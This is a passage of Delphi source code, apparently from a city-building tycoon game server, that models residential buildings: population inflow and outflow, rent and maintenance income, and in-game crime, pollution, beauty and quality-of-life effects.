ClassStorageInt, Kernel, Population, Surfaces, BackupInterfaces, Protocol, CacheAgent,
Accounts, ConnectedBlock, Inventions, Languages;
const
modStrengthOfCrime = 10;
modStrengthOfPeople = 10;
modStrengthOfPollution = 10;
modBeautyRatio = 10;
modCrimeRatio = 1;
modPollutionRatio = 1;
modQOLRatio = 7;
modPeopleRatio = 2;
const
MaxQOL = 10;
MaxBeauty = 5;
MaxCrime = 5;
MaxPollution = 5;
const
MaxPopulationForSpecialSeals = 2000000; // two millions // 3000000
type
TParmImportance = array[TPeopleKind] of integer;
const
BeautyWeight : TParmImportance = ( 200, 80, 30);
QOLWeight : TParmImportance = ( 30, 150, 60);
CrimeWeight : TParmImportance = ( 100, 150, 30);
PollWeight : TParmImportance = ( 500, 200, 120);
MaintenanceWeight : TParmImportance = ( 800, 300, 40);
PriceWeight : TParmImportance = ( 20, 50, 100);
NeighborsWeight : TParmImportance = (1000, 500, 40);
EfficiencyWeight : TParmImportance = ( 100, 100, 100);
var
TotalWeight : TParmImportance = (0, 0, 0);
const
PriceWeightMax = 2000;
const
//ProfitLimit = 60; // Minimal occupancy of positive-profit residential
MinOccupancy = 40; // Minimal occupancy of old-looking residential
BrandNewEffect = 365*24; // Minimal age of old-looking residential
BuildingUglyness = -70; // For the beauty modifier if in ugly state
RepairPriceShare = 1/4;
NeighborsQualityMax = 200;
ResRecovTime = 10*365*24;
PeoplePerApt = 2;
NewbiewHelp = 10;
type
TResidentialVisualState = (restNormal, restReparing, restHalfEmpty);
TResidentialVisualStates = set of TResidentialVisualState;
type
TMetaPopulatedBlock =
class( TMetaBlock )
public
constructor Create( anId : string;
aPeopleKind : TPeopleKind;
aCapacity : integer;
aBlockClass : CBlock );
private
fPeopleKind : TPeopleKind;
fCapacity : TFluidValue;
fEfficiency : single;
fCrimeResist : single;
fPollResist : single;
fAvailableStates : TResidentialVisualStates;
fModifyPrice : boolean;
fLowCost : boolean;
fProfitLimit : byte;
fResRecovTime : integer;
fTournamentOn : boolean;
public
property PeopleKind : TPeopleKind read fPeopleKind;
property Capacity : TFluidValue read fCapacity;
property Efficiency : single read fEfficiency write fEfficiency;
property CrimeResist : single read fCrimeResist write fCrimeResist;
property PollResist : single read fPollResist write fPollResist;
property AvailableStates : TResidentialVisualStates read fAvailableStates write fAvailableStates;
property ModifyPrice : boolean read fModifyPrice write fModifyPrice;
property LowCost : boolean read fLowCost write fLowCost;
property ProfitLimit : byte read fProfitLimit write fProfitLimit;
property TournamentOn : boolean read fTournamentOn;
protected
function ModifyStageStack( Stage : TMetaBlock ) : boolean; override;
procedure ModifyMetaFacility( MetaFacility : TMetaFacility ); override;
public
procedure Register( ClassFamily : TClassFamilyId );
procedure EvaluateTexts; override;
end;
TPeopleIntegrators = array[TPeopleKind] of TSurfaceIntegrator;
TPopulatedBlock =
class( TConnectedBlock )
protected
constructor Create( aMetaBlock : TMetaBlock; aFacility : TFacility ); override;
public
destructor Destroy; override;
private
fEmigration : TPushInputData;
fInmigration : TPushInputData;
fRecycleIn : TPushInputData;
fDemand : TOutputData;
fPopulation : TOutputData;
fRecycleOut : TOutputData;
protected
function GetSurfaceValue( SurfaceId : TSurfaceId ) : TSurfaceValue; override;
protected
function Evaluate : TEvaluationResult; override;
public
procedure AutoConnect( loaded : boolean ); override;
public
procedure Stop; override;
protected
function GetVisualClassId : TVisualClassId; override;
protected
fPeople : TFluidData;
fRent : TPercent;
fMaintenance : TPercent;
fRepair : TPercent;
fRepairDate : TVirtDateAbs;
fMovedParm : TTownParameter;
fRentParm : TTownParameter;
fQidxParm : TTownParameter;
fPopParm : TTownParameter;
finvCrimeRes : single;
finvPollRes : single;
finvBeauty : single;
finvPrivacy : single;
finvMaint : single;
private
function GetRent : TPercent;
procedure SetRent( aRent : TPercent );
function GetMaintenance : TPercent;
procedure SetMaintenance( aMaintenance : TPercent );
function GetOccupancy : TPercent;
published
property Rent : TPercent read GetRent write SetRent;
property Maintenance : TPercent read GetMaintenance write SetMaintenance;
property Occupancy : TPercent read GetOccupancy;
published
procedure RdoRepair(useless : integer);
procedure RdoStopRepair(useless : integer);
public
property People : TFluidData read fPeople;
private
function GetMarketPrice : TMoney;
published
function GetStatusText( kind : TStatusKind; ToTycoon : TTycoon ) : string; override;
private
fBeautyModifier : TSurfaceModifier;
fPeopleModifier : TSurfaceModifier;
fCrimeModifier : TSurfaceModifier;
fPollutionModifier : TSurfaceModifier;
fBeautyIntegrator : TSurfaceIntegrator;
fPollutionIntegrator : TSurfaceIntegrator;
fCrimeIntegrator : TSurfaceIntegrator;
fQOLIntegrator : TSurfaceIntegrator;
fPeopleIntegrators : TPeopleIntegrators;
fAdm : TAdmitance;
fNeighborsQuality : single;
protected
function ComputeCrime : TSurfaceValue; virtual;
function ComputePollution : TSurfaceValue; virtual;
function ComputeNeighborsQuality : single; virtual;
private
function GetQOLPercent ( value : TSurfaceValue ) : TPercent;
function GetBeautyPercent( value : TSurfaceValue ) : TPercent;
function GetCrimePercent ( value : TSurfaceValue ) : TPercent;
function GetPollPercent ( value : TSurfaceValue ) : TPercent;
public
procedure StoreToCache ( Cache : TObjectCache ); override;
procedure LoadFromBackup( Reader : IBackupReader ); override;
procedure StoreToBackup ( Writer : IBackupWriter ); override;
private
function LooksUgly : boolean;
private
procedure InitEnvironment;
protected
procedure CopySettingsFrom(Block : TBlock; Options : integer); override;
function RenderCloneMenu(lang : string) : string; override;
procedure Deleted; override;
protected
procedure RecalculateInventionsEffect; override;
end;
type
TResidentialInvention =
class( TInvention )
public
constructor Load( xmlObj : OleVariant ); override;
private
fCrimeRes : integer;
fPollRes : integer;
fPrivacy : integer;
fBeauty : integer;
fMaintenance : integer;
public
property CrimeRes : integer read fCrimeRes;
property PollRes : integer read fPollRes;
property Privacy : integer read fPrivacy;
property Beauty : integer read fBeauty;
property Maintenance : integer read fMaintenance;
public
function GetClientProps(Company : TObject; LangId : TLanguageId ) : string; override;
end;
const
TrashPerc = 50;
NoPollMaintPerc = 100;
const
CrimeProb : array[TPeopleKind] of single = (0.05, 0.1, 0.4);
PollProb : array[TPeopleKind] of single = (0, 0.03, 0.05);
UnempCrimeProb : array[TPeopleKind] of single = (0.1, 0.5, 1);
BornCrimeProb : array[TPeopleKind] of single = (0.04, 0.1, 0.2);
const
NeighborParm : array[TPeopleKind, TPeopleKind] of single =
((0, -1, -10),
(1, 0.5, -10),
(1, 1, 1));
const
tidInventionClass_Residentials = 'Residentials';
tidInvAttr_CrimeRes = 'crime';
tidInvAttr_PollRes = 'poll';
tidInvAttr_Privacy = 'privacy';
tidInvAttr_Beauty = 'beauty';
tidInvAttr_Maintenance = 'maint';
const
tidCFGParm_TournamentLen = 'TornamentLength';
procedure RegisterInventionClass;
procedure RegisterBackup;
procedure RegisterTownParameters;
implementation
uses
MetaInstances, SysUtils, ClassStorage, MathUtils, PyramidalModifier, Classes, SimHints,
Construction, BasicAccounts, StdFluids, Logs, Standards, ModelServerCache, CloneOptions;
const
MoveInDays = 10*TimeUnits;
InhabitantsBoost = 3;
// TMetaPopulatedBlock
constructor TMetaPopulatedBlock.Create( anId : string; aPeopleKind : TPeopleKind; aCapacity : integer; aBlockClass : CBlock );
var
Sample : TPopulatedBlock;
People : TMetaFluid;
begin
inherited Create( anId, accIdx_None, accIdx_Residentials, aBlockClass );
fPeopleKind := aPeopleKind;
fCapacity := StrToInt(TheGlobalConfigHandler.GetConfigParm('ResInhabBoost', '3'))*aCapacity; //InhabitantsBoost*aCapacity;
fProfitLimit := StrToInt(TheGlobalConfigHandler.GetConfigParm('ResProfitPerc', '40'));
fResRecovTime := 24*365*StrToInt(TheGlobalConfigHandler.GetConfigParm('ResRecYears', '10'));
fEfficiency := 1;
People := TMetaFluid(TheClassStorage.ClassById['Fluids', PeopleKindPrefix[aPeopleKind] + tidFluid_People]);
Sample := nil;
MetaInputs.Insert(
TMetaInput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_ResInmigration,
inputZero,
InputData( fCapacity/MoveInDays, kIlimited ),
inputZero,
fCapacity,
TPushInput,
People,
1,
mglBasic,
[],
sizeof(Sample.fInmigration),
Sample.Offset( Sample.fInmigration )));
MetaInputs.Insert(
TMetaInput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_ResEmigration,
inputZero,
InputData( fCapacity, kIlimited ),
inputZero,
fCapacity,
TPushInput,
People,
1,
mglBasic,
[],
sizeof(Sample.fEmigration),
Sample.Offset( Sample.fEmigration )));
MetaInputs.Insert(
TMetaInput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_RecycleIn,
inputZero,
InputData( fCapacity, kIlimited ),
inputZero,
fCapacity,
TPushInput,
People,
1,
mglBasic,
[],
sizeof(Sample.fRecycleIn),
Sample.Offset( Sample.fRecycleIn )));
MetaOutputs.Insert(
TMetaOutput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_ResDemand,
FluidData( fCapacity, kIlimited ),
TPushOutput,
People,
1,
[],
sizeof(Sample.fDemand),
Sample.Offset( Sample.fDemand )));
MetaOutputs.Insert(
TMetaOutput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_People,
FluidData( fCapacity, kIlimited ),
TPushOutput,
People,
1,
[],
sizeof(Sample.fPopulation),
Sample.Offset( Sample.fPopulation )));
MetaOutputs.Insert(
TMetaOutput.Create(
PeopleKindPrefix[aPeopleKind] + tidGate_RecycleOut,
FluidData( fCapacity, kIlimited ),
TPushOutput,
People,
1,
[],
sizeof(Sample.fRecycleOut),
Sample.Offset( Sample.fRecycleOut )));
fAvailableStates := [restNormal];
fModifyPrice := true;
MaxUpgrade := StrToInt(TheGlobalConfigHandler.GetConfigParm('ResMaxUpgrade', '10'));
fTournamentOn := StrToInt(TheGlobalConfigHandler.GetConfigParm(tidCFGParm_TournamentLen, '0')) > 0;
end;
function TMetaPopulatedBlock.ModifyStageStack( Stage : TMetaBlock ) : boolean;
var
OptRent : single;
Profit : TMoney;
ConstPrice : TMoney;
Cost : TMoney;
begin
if fModifyPrice and ObjectIs( TMetaBlockUnderConstruction.ClassName, Stage )
then
begin
OptRent := realmax(0, 1 + (CrimeResist + PollResist)/10 + Efficiency/3);
Profit := (100 - fProfitLimit)*OptRent*Capacity*PeoplePrice[PeopleKind]/100;
Cost := realmax(0, Efficiency*fResRecovTime*Profit);
ConstPrice := TMetaFluid(TheClassStorage.ClassById[tidClassFamily_Fluids, tidFluid_ConstructionForce]).MarketPrice;
TMetaBlockUnderConstruction(Stage).ConstVolumeRequired := Cost/ConstPrice;
result := true;
end
else result := false;
end;
procedure TMetaPopulatedBlock.ModifyMetaFacility( MetaFacility : TMetaFacility );
begin
inherited;
MetaFacility.MinistryId := nidMinistry_Housing;
end;
procedure TMetaPopulatedBlock.Register( ClassFamily : TClassFamilyId );
begin
inherited Register( ClassFamily );
end;
procedure TMetaPopulatedBlock.EvaluateTexts;
var
i : integer;
lang : TLanguageId;
begin
for i := 0 to pred(LangList.Count) do
begin
lang := LangList[i];
Desc_MLS.Values[lang] := SimHints.GetHintText( mtidDescResidential.Values[lang], [mtidPeopleKindName[PeopleKind].Values[lang], round(Capacity), round(100*CrimeResist), round(100*PollResist), round(100*Efficiency)] );
end;
end;
// TPopulatedBlock
constructor TPopulatedBlock.Create( aMetaBlock : TMetaBlock; aFacility : TFacility );
begin
inherited;
fRent := 100;
fMaintenance := 100;
end;
destructor TPopulatedBlock.Destroy;
begin
inherited;
end;
function TPopulatedBlock.GetSurfaceValue( SurfaceId : TSurfaceId ) : TSurfaceValue;
begin
if SurfaceId = tidEnvironment_Beauty
then result := fBeautyIntegrator.Media
else
if SurfaceId = tidEnvironment_Pollution
then result := fPollutionIntegrator.Media
else
if SurfaceId = tidEnvironment_Crime
then result := fCrimeIntegrator.Media
else
if SurfaceId = tidEnvironment_QOL
then result := fQOLIntegrator.Media
else result := inherited GetSurfaceValue( SurfaceId );
end;
const
GlobalAdm : array [TPeopleKind] of integer = (0, 0, 0);
AdmCount : array [TPeopleKind] of integer = (0, 0, 0);
function TPopulatedBlock.Evaluate : TEvaluationResult;
function GetBostCurveValue( maxFacCount : integer ) : single;
var
Tycoon : TTycoon;
begin
if (Facility.Company <> nil) and (Facility.Company.Owner <> nil)
then
begin
Tycoon := Facility.Company.Owner;
if TMetaPopulatedBlock(MetaBlock).TournamentOn
then result := realmax(0, (1 - Tycoon.FacCount/maxFacCount))
else result := realmax(0, (1 - Tycoon.FacCount/maxFacCount)*(1 - min(500, Tycoon.NobPoints)/500));
end
else result := 0;
end;
var
PeopleIn : TFluidData;
PeopleOut : TFluidData;
realAdmit : single;
avgAdmit : single;
Admitance : TAdmitance;
Price : TMoney;
MarketPrice : TMoney;
Maint : TPercent;
dRepair : integer;
admEfc : single;
admBeauty : single;
admQOL : single;
admCrime : single;
admPoll : single;
admMaint : single;
admPrice : single;
admNeigh : single;
ExtraPriceWeight : single;
TWeight : single;
UpgrLevel : byte;
TownHall : TTownHall;
RentMoney : TMoney;
MaintMoney : TMoney;
begin
result := inherited Evaluate;
fNeighborsQuality := ComputeNeighborsQuality;
UpgrLevel := UpgradeLevel;
if Facility.Trouble and facStoppedByTycoon = 0
then
with TMetaPopulatedBlock(MetaBlock) do
begin
TownHall := TTownHall(TInhabitedTown(Facility.Town).TownHall.CurrBlock);
if Facility.CompanyDir <> nil
then
begin
Facility.CompanyDir.Demand := Facility.CompanyDir.Demand + UpgrLevel*TMetaPopulatedBlock(MetaBlock).Capacity/100;
Facility.CompanyDir.Count := Facility.CompanyDir.Count + 1;
end;
if not Facility.CriticalTrouble
then Maint := fMaintenance
else Maint := 0;
if not LowCost //and (Facility.ToBeDemolished = 0)
then
begin
// Computing residential quality
//IntegrateInventions( invCrimeRes, invPollRes, invBeauty, invPrivacy, invMaint );
ExtraPriceWeight := PriceWeightMax*(1 - realmax(0, realmin(1, TownHall.SalaryRatio[PeopleKind])));
TWeight := TotalWeight[PeopleKind] + ExtraPriceWeight;
admEfc := EfficiencyWeight[PeopleKind]*Efficiency/TWeight;
admBeauty := BeautyWeight[PeopleKind]*realmin(fBeautyIntegrator.Media, 2*MaxBeauty)/(TWeight*MaxBeauty) + finvBeauty;
admQOL := QOLWeight[PeopleKind]*realmin(fQOLIntegrator.Media, 2*MaxQOL)/(TWeight*MaxQOL);
admCrime := CrimeWeight[PeopleKind]*(1 - CrimeResist - finvCrimeRes)*realmax(0, fCrimeIntegrator.Media)/(TWeight*MaxCrime);
admPoll := PollWeight[PeopleKind]*(1 - PollResist - finvPollRes)*realmax(0, fPollutionIntegrator.Media)/(TWeight*MaxPollution);
admMaint := MaintenanceWeight[PeopleKind]*Maint/(100*TWeight);
admPrice := (PriceWeight[PeopleKind] + ExtraPriceWeight)*(100 - Rent)/(100*TWeight);
admNeigh := NeighborsWeight[PeopleKind]*fNeighborsQuality/TWeight + finvPrivacy;
if Facility.CompanyDir <> nil
then admMaint := admMaint*realmin(1, Facility.CompanyDir.Support);
realAdmit := (admEfc + admBeauty + admQOL - admCrime - admPoll + admMaint + admPrice + admNeigh);
Admitance := round(realmin(1, Maint/100)*realmax( 0, 10 + 50*realAdmit ) + GetBostCurveValue( 500 )*NewbiewHelp) + 2*UpgrLevel;
end
else Admitance := 0;
// Residentials belonging to Mayors, Ministers & Presidents will attract half of the population
if (Facility.Company.Owner <> nil) and Facility.Company.Owner.IsRole
then Admitance := round(0.75*Admitance)
else
if Facility.Company.Cluster.SpecialSeal
then Admitance := round(realmin(1, TownHall.TotalPopulation/MaxPopulationForSpecialSeals)*Admitance);
fAdm := Admitance;
// Finding class based admitance
if GlobalAdm[fPeopleKind] < High(GlobalAdm[fPeopleKind]) div 2
then
begin
GlobalAdm[fPeopleKind] := GlobalAdm[fPeopleKind] + Admitance;
inc( AdmCount[fPeopleKind] )
end
else
begin
GlobalAdm[fPeopleKind] := Admitance;
AdmCount[fPeopleKind] := 1;
end;
if AdmCount[fPeopleKind] > 0
then avgAdmit := GlobalAdm[fPeopleKind]/AdmCount[fPeopleKind]
else avgAdmit := 100;
if avgAdmit > 0
then avgAdmit := (Admitance/avgAdmit)*100
else avgAdmit := Admitance;
// >> Patching crazy traumas!!!
fInmigration.Q := realmax(0, fInmigration.Q);
fRecycleIn.Q := realmax(0, fRecycleIn.Q);
// Acepting inmigration
PeopleIn.Q := fInmigration.Q + fRecycleIn.Q;
PeopleIn.K := AverageK( @fInmigration, @fRecycleIn );
// Population Recycle
fRecycleOut.Q := realmax(0, realmin( fPeople.Q, sqr(100.0 - fDemand.K)*EmigrationProb[TMetaPopulatedBlock(MetaBlock).fPeopleKind]*fPeople.Q{*dt}/(2*{4*}100*EmigrationTimeSlope*100)));
fRecycleOut.K := fPeople.K;
fRecycleIn.S := sqr(Admitance) + 1;
// >> Patching crazy traumas!!!
fEmigration.Q := realmax(0, fEmigration.Q);
fRecycleOut.Q := realmax(0, fRecycleOut.Q);
// Emigration
PeopleOut.Q := fEmigration.Q + fRecycleOut.Q;
PeopleOut.K := AverageK( @fEmigration, @fRecycleOut );
// Update town parameter for internal move out
fMovedParm.CurrValue := fMovedParm.CurrValue + fRecycleOut.Q;
// Generate population signals
if PeopleOut.Q > PeopleIn.Q
then
begin
PeopleOut.Q := realmax(0, PeopleOut.Q - PeopleIn.Q);
fPeople.Q := realmax(0, fPeople.Q - PeopleOut.Q);
fRecycleOut.Q := realmax(0, PeopleOut.Q - fEmigration.Q);
fPeople.K := AverageK( @fPeople, @PeopleOut );
end
else
begin
PeopleIn.Q := realmax(0, PeopleIn.Q - PeopleOut.Q);
fPeople.K := AverageK( @fPeople, @PeopleIn );
fRecycleOut.Q := 0;
fPeople.Q := realmax(0, fPeople.Q + PeopleIn.Q);
end;
fPeople.Q := realmax(0, realmin(fPeople.Q, UpgrLevel*Capacity));
// Sending demand
fDemand.Q := realmax(0, UpgrLevel*Outputs[0].MetaOutput.MaxFluid.Q - fPeople.Q);
fDemand.K := min( 100, round(avgAdmit) );
// Feeding back population
fPopulation.Q := realmax(0, fPeople.Q);
fPopulation.K := fPeople.K;
// Adjusting Emigration and Inmigration
fInmigration.S := sqr(Admitance) + 1;
if Admitance > 0
then fEmigration.S := 10000 div Admitance
else fEmigration.S := 0;
Inputs[0].MaxCapacity := UpgrLevel*TMetaPopulatedBlock(MetaBlock).Capacity - fPeople.Q;
Inputs[0].ActualMaxFluid.Q := Inputs[0].MaxCapacity;
Inputs[1].MaxCapacity := fPeople.Q;
Inputs[1].ActualMaxFluid.Q := Inputs[1].MaxCapacity;
Inputs[2].MaxCapacity := Inputs[0].MaxCapacity;
Inputs[2].ActualMaxFluid.Q := Inputs[2].MaxCapacity;
// Generating money
MarketPrice := GetMarketPrice;
Price := fRent*MarketPrice/100;
{ << old way...
BlockGenMoney( 2.3*fPeople.Q*Price*dt, accIdx_Residentials_Rents );
BlockGenMoney( -TMetaPopulatedBlock(MetaBlock).ProfitLimit*(Maint - finvMaint)*UpgrLevel*TMetaPopulatedBlock(MetaBlock).Capacity*MarketPrice*dt/10000, accIdx_Residentials_Maintenance );
}
RentMoney := (fPeople.Q/PeoplePerApt)*Price*dt;
MaintMoney := -UpgrLevel*(TMetaPopulatedBlock(MetaBlock).Capacity/PeoplePerApt)*MarketPrice*dt;
MaintMoney := realmax(0, Maint/100 - finvMaint)*TMetaPopulatedBlock(MetaBlock).ProfitLimit*MaintMoney/100;
BlockGenMoney( RentMoney, accIdx_Residentials_Rents );
BlockGenMoney( MaintMoney, accIdx_Residentials_Maintenance );
// Modifying environment
fPeopleModifier.Value := fPeople.Q;
fCrimeModifier.Value := ComputeCrime;
fPollutionModifier.Value := ComputePollution;
if not LooksUgly
then fBeautyModifier.Value := MetaBlock.Beauty
else fBeautyModifier.Value := BuildingUglyness;
end;
// Repairing-wearing
if fRepair > 0
then
if fRepair < 100
then
begin
dRepair := fRepair;
if fRepair + dt < 100
then inc( fRepair, round(dt) )
else fRepair := 100;
dRepair := fRepair - dRepair;
BlockGenMoney( -dRepair/100*RepairPriceShare*Facility.MetaFacility.Price, accIdx_Residentials_Repairs );
end
else
begin
fRepairDate := Facility.Town.Timer.GetVirtualTimeAbs;
fRepair := 0;
end;
// >> Patching crazy traumas!!!
fPeople.Q := realmax(0, fPeople.Q);
// Generating trafic
SetCargoValue( carPeople, fPeople.Q );
// Updating parameters
fRentParm.CurrValue := fRentParm.CurrValue + fPeople.Q*fRent;
fRentParm.IncCount( fPeople.Q );
fQidxParm.CurrValue := fQidxParm.CurrValue + fPeople.Q*fAdm;
fQidxParm.IncCount( fPeople.Q );
fPopParm.CurrValue := fPopParm.CurrValue + fPeople.Q;
fPopParm.IncCount( 1 );
end;
procedure TPopulatedBlock.AutoConnect( loaded : boolean );
var
kd : TPeopleKind;
TownHall : TBlock;
begin
inherited;
kd := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
// TownHall connections
TownHall := TInhabitedTown(Facility.Town).TownHall.CurrBlock;
InputsByName[PeopleKindPrefix[kd] + tidGate_ResInmigration].ConnectTo( TownHall.OutputsByName[PeopleKindPrefix[kd] + tidGate_ResInmigration] );
InputsByName[PeopleKindPrefix[kd] + tidGate_ResEmigration].ConnectTo( TownHall.OutputsByName[PeopleKindPrefix[kd] + tidGate_ResEmigration] );
InputsByName[PeopleKindPrefix[kd] + tidGate_RecycleIn].ConnectTo( TownHall.OutputsByName[PeopleKindPrefix[kd] + tidGate_RecycleIn] );
OutputsByName[PeopleKindPrefix[kd] + tidGate_People].ConnectTo( TownHall.InputsByName[PeopleKindPrefix[kd] + tidGate_People] );
OutputsByName[PeopleKindPrefix[kd] + tidGate_ResDemand].ConnectTo( TownHall.InputsByName[PeopleKindPrefix[kd] + tidGate_ResDemand] );
OutputsByName[PeopleKindPrefix[kd] + tidGate_RecycleOut].ConnectTo( TownHall.InputsByName[PeopleKindPrefix[kd] + tidGate_RecycleOut] );
if not loaded
then fRepairDate := Facility.Town.Timer.GetVirtualTimeAbs;
// Environmental stuff
InitEnvironment;
fMovedParm := Facility.Town.Parameters[tidTownParameter_ResMovedOut + PeopleKindPrefix[kd]];
fRentParm := Facility.Town.Parameters[tidTownParameter_ResRent + PeopleKindPrefix[kd]];
fQidxParm := Facility.Town.Parameters[tidTownParameter_ResQidx + PeopleKindPrefix[kd]];
fPopParm := Facility.Town.Parameters[tidTownParameter_ResPop + PeopleKindPrefix[kd]];
end;
procedure TPopulatedBlock.Stop;
begin
inherited;
with TTownHall(TInhabitedTown(Facility.Town).TownHall.CurrBlock) do
ReportClosedBuilding( self );
fPeople.Q := 0;
fPopulation.Q := 0;
fDemand.Q := 0;
fRecycleOut.Q := 0;
fPeopleModifier.Value := 0;
fCrimeModifier.Value := 0;
end;
function TPopulatedBlock.GetVisualClassId : TVisualClassId;
var
MPB : TMetaPopulatedBlock;
begin
MPB := TMetaPopulatedBlock(MetaBlock);
case MPB.VisualStages of
2 :
if LooksUgly
then result := 1
else result := 0;
else result := 0;
end;
end;
function TPopulatedBlock.GetRent : TPercent;
begin
Facility.Lock;
try
result := fRent;
finally
Facility.Unlock;
end;
end;
procedure TPopulatedBlock.SetRent( aRent : TPercent );
begin
Facility.Lock;
try
if Facility.CheckOpAuthenticity
then
begin
fRent := aRent;
ModelServerCache.BackgroundInvalidateCache(Facility); // UpdateCache(true)
end;
finally
Facility.Unlock;
end;
end;
function TPopulatedBlock.GetMaintenance : TPercent;
begin
Facility.Lock;
try
result := fMaintenance
finally
Facility.Unlock;
end;
end;
procedure TPopulatedBlock.SetMaintenance( aMaintenance : TPercent );
begin
Facility.Lock;
try
if Facility.CheckOpAuthenticity
then
begin
fMaintenance := aMaintenance;
ModelServerCache.BackgroundInvalidateCache(Facility); //Facility.UpdateCache(true)
end;
finally
Facility.Unlock;
end;
end;
function TPopulatedBlock.GetOccupancy : TPercent;
var
UpgrLevel : integer;
begin
UpgrLevel := UpgradeLevel;
with TMetaPopulatedBlock(MetaBlock) do
result := round(100*fPeople.Q/(UpgrLevel*Capacity));
end;
procedure TPopulatedBlock.RdoRepair(useless : integer);
begin
Logs.Log( tidLog_Survival, TimeToStr(Now) + ' Repairing: ' + Facility.Name );
if Facility.CheckOpAuthenticity
then fRepair := 1;
Logs.Log( tidLog_Survival, 'OK!');
end;
procedure TPopulatedBlock.RdoStopRepair(useless : integer);
begin
Logs.Log( tidLog_Survival, TimeToStr(Now) + ' Stop Repairing: ' + Facility.Name );
if Facility.CheckOpAuthenticity
then fRepair := 0;
Logs.Log( tidLog_Survival, 'OK!');
end;
function TPopulatedBlock.GetMarketPrice : TMoney;
var
kd : TPeopleKind;
begin
kd := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
result := PeoplePrice[kd];
end;
function TPopulatedBlock.GetStatusText( kind : TStatusKind; ToTycoon : TTycoon ) : string;
var
FillRatio : single;
TownHall : TTownHall;
begin
result := inherited GetStatusText( kind, ToTycoon );
case kind of
sttMain :
begin
if Facility.Trouble and facStoppedByTycoon = 0
then
result :=
result +
SimHints.GetHintText( mtidResWorking.Values[ToTycoon.Language], [round(100*int(fPeople.Q)/(UpgradeLevel*TMetaPopulatedBlock(MetaBlock).Capacity)), mtidPeopleKindName[TMetaPopulatedBlock(MetaBlock).fPeopleKind].Values[ToTycoon.Language]] )
{
IntToStr(round(100*int(fPeople.Q)/TMetaPopulatedBlock(MetaBlock).Capacity)) +
'% ' + mtidPeopleKindName[TMetaPopulatedBlock(MetaBlock).fPeopleKind].Values[ToTycoon.Language] + ' occupancy'
}
else
result :=
result +
SimHints.GetHintText( mtidResClosedHeader.Values[ToTycoon.Language], [mtidPeopleKindName[TMetaPopulatedBlock(MetaBlock).fPeopleKind].Values[ToTycoon.Language]] ) + LineBreak +
SimHints.GetHintText( mtidResClosedByLine.Values[ToTycoon.Language], [0] );
{
mtidPeopleKindName[TMetaPopulatedBlock(MetaBlock).fPeopleKind].Values[ToTycoon.Language] + ' residential' + LineBreak +
'[closed]';
}
if fRepair > 0
then
result :=
result + LineBreak +
SimHints.GetHintText( mtidResRepaired.Values[ToTycoon.Language], [fRepair] );
//IntToStr(fRepair) + '% repaired';
end;
sttSecondary :
begin
TownHall := TTownHall(TInhabitedTown(Facility.Town).TownHall.CurrBlock);
result := Format(mtidUpgradeLevel.Values[ToTycoon.Language], [UpgradeLevel]) + ' ' +
SimHints.GetHintText(
mtidResSecReport.Values[ToTycoon.Language],
[
max(0, round(fPeople.Q)),
max(0, fAdm),
max(0, round(realmin(100, 100*TownHall.GQOL*fQOLIntegrator.Media/MaxQOL))),
max(0, round(100*fNeighborsQuality)),
max(0, round(realmin(100, 100*fBeautyIntegrator.Media/MaxBeauty))),
max(0, round(realmin(100, 100*fCrimeIntegrator.Media/MaxCrime))),
max(0, round(realmin(100, 100*fPollutionIntegrator.Media/MaxPollution)))
] );
end;
sttHint :
case Facility.AccessLevelOf( ToTycoon ) of
acsFull, acsModerate :
if Facility.Trouble = facNoTrouble
then
begin
FillRatio := 100*People.Q/(UpgradeLevel*TMetaPopulatedBlock(MetaBlock).Capacity);
if FillRatio >= (100 + TMetaPopulatedBlock(MetaBlock).ProfitLimit) div 2
then
if FillRatio >= 93
then result := GetHintText( mtidResWorkingFine.Values[ToTycoon.Language], [0] )
else result := GetHintText( mtidResMildUnderPopulated.Values[ToTycoon.Language], [0] )
else
if FillRatio >= TMetaPopulatedBlock(MetaBlock).ProfitLimit
then result := GetHintText( mtidResUnderPopulated.Values[ToTycoon.Language], [0] )
else result := GetHintText( mtidResVeryUnderPopulated.Values[ToTycoon.Language], [0] )
end
else result := GetHintText( mtidVisitWebSite.Values[ToTycoon.Language], [0] );
end;
end;
end;
function TPopulatedBlock.ComputeCrime : TSurfaceValue;
var
kind : TPeopleKind;
TownHall : TTownHall;
begin
kind := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
TownHall := TTownHall(TInhabitedTown(Facility.Town).TownHall.CurrBlock);
result := CrimeProb[kind]*(BornCrimeProb[kind] + UnempCrimeProb[kind]*TownHall.Unemployment[kind]/100.0 + (1 - fPeople.K/100.0))*fPeople.Q
end;
function TPopulatedBlock.ComputePollution : TSurfaceValue;
var
kind : TPeopleKind;
begin
kind := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
//result := PollProb[kind]*realmax(0, 2*(NoPollMaintPerc - fMaintenance){*fPeople.Q/TMetaPopulatedBlock(MetaBlock).Capacity})
result := PollProb[kind]*fPeople.Q*(NoPollMaintPerc - fMaintenance)/100;
end;
function TPopulatedBlock.ComputeNeighborsQuality : single;
var
kind, i : TPeopleKind;
begin
kind := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
result := 0;
for i := low(i) to high(i) do
result := result + NeighborParm[kind, i]*fPeopleIntegrators[i].Media;
result := realmax( 0, realmin( 2*NeighborsQualityMax, NeighborsQualityMax + result ))/NeighborsQualityMax;
end;
function TPopulatedBlock.GetQOLPercent( value : TSurfaceValue ) : TPercent;
begin
result := max(0, round(realmin(100, 100*fQOLIntegrator.Media/MaxQOL)));
end;
function TPopulatedBlock.GetBeautyPercent( value : TSurfaceValue ) : TPercent;
begin
result := max(0, round(realmin(100, 100*value/MaxBeauty)));
end;
function TPopulatedBlock.GetCrimePercent( value : TSurfaceValue ) : TPercent;
begin
result := max(0, round(realmin(100, 100*value/MaxCrime)));
end;
function TPopulatedBlock.GetPollPercent( value : TSurfaceValue ) : TPercent;
begin
result := max(0, round(realmin(100, 100*value/MaxPollution)));
end;
procedure TPopulatedBlock.StoreToCache( Cache : TObjectCache );
begin
inherited;
Cache.WriteInteger( 'Inhabitants', round(People.Q) );
Cache.WriteInteger( 'Rent', fRent );
Cache.WriteInteger( 'Maintenance', fMaintenance );
Cache.WriteInteger( 'Repair', fRepair );
